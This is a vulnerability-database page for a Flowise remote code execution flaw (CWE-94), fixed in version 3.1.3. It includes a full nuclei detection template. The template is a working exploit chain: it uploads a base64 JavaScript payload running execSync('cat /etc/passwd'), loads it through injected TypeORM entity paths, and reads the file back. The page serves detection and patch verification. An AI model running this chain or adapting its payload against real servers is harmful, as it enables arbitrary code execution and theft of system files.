HexBrain

Browse / CVEs / CVE-2026-69251

CVE-2026-69251· flowiseai / flowise· CWE-94

Flowise < 3.1.3 - Remote Code Execution

criticalseverity
9CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.

Impact

Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Update to version 3.1.3 or later.

How to confirm it

Send: POST /api/v1/auth/login
Positive when: contains_any(body, "activeOrganizationId", "Unauthorized Access")
Send: POST /api/v1/document-store/store
Positive when: status_code == 200 and contains(body, "loaders")
Send: POST /api/v1/document-store/loader/save
Positive when: status_code == 200
Send: POST /api/v1/document-store/loader/process/{{loaderid}}
Positive when: status_code == 200
Send: POST /api/v1/document-store/vectorstore/insert
Positive when: regex('root:.*:0:0:', body) and !contains(body, "Disallowed TypeORM DataSource option")

Run it with nuclei: nuclei -id CVE-2026-69251 -u <target>

The full check
id: CVE-2026-69251

info:
  name: Flowise < 3.1.3 - Remote Code Execution
  author: 1dayexploit
  severity: critical
  description: |
    Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
  impact: |
    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 3.1.3 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
    - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69251
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.0
    cve-id: CVE-2026-69251
    epss-score: 0.02742
    epss-percentile: 0.8629
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 5
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive

variables:
  fname: "{{to_lower(rand_text_alpha(8))}}"
  payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/store HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"name":"poc-{{fname}}","description":"CVE-2026-69251"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "loaders")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: storeid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: loaderid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/vectorstore/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - '!contains(body, "Disallowed TypeORM DataSource option")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'Error: (root:.*?)",\"stack'

References

Use this check only on systems you are authorised to test. Where the data comes from